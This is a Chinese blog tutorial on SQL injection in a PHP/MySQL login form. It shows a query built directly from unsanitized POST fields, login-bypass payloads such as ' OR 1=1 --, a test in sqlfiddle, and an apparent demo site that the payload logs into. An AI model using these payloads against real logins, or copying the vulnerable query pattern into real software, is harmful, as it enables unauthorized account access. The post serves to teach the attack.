php mysql 注入攻击实例

说明

一个php登录表单方式:

<form action=‘index.php’ method="post">

<input type="email" name="email" required="required"/>

<input type="password" name="password"/>

<input type="checkbox" name="remember_me" value="Remember me"/>

<input type="submit" value="Submit"/>

</form>

登录的sql语句可能是这样子:

SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password'])

sqlfiddle工具

现在用一个在线工具直接模拟sql注入,打开http://sqlfiddle.com/

  • 在左边窗口写创建数据库和插入数据语句
CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); 

insert into users (email,password) values ('[m@m.com](mailto:m@m.com)',md5('abc'));
  • 右边输入
select * from users;

点击运行出现结果:

Paste_Image.png
  • 截图展示具体操作步骤
Paste_Image.png
  • 现在右侧输入下面的语句也能查询到结果:
SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');

分析语句:

  • xxx@xxx.xxx 正常输入
  • OR 1 = 1 LIMIT 1 一条记录永远为真
  • -- ' AND.... SQL注释,忽略了密码部分
Paste_Image.png

实例操作

  • 打开 http://www.techpanda.org/

  • 用户名输入: xxx@xxx.xxx

  • 密码输入: xxx') OR 1 = 1 -- ]

  • 点击登录就可以登录成功


    Paste_Image.png
  • 登录成功后的页面


    Paste_Image.png
  • 分析
    当输入上面的语句时,就生成了这样的语句: SELECT * FROM users WHERE email = '[xxx@xxx.xxx](mailto:xxx@xxx.xxx)' AND password = md5('xxx') OR 1 = 1 -- ]');

生成过程是这样子:

Paste_Image.png

其他

  • 增删改查都可以用注入的方式
  • 借助自动化工具

参考

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容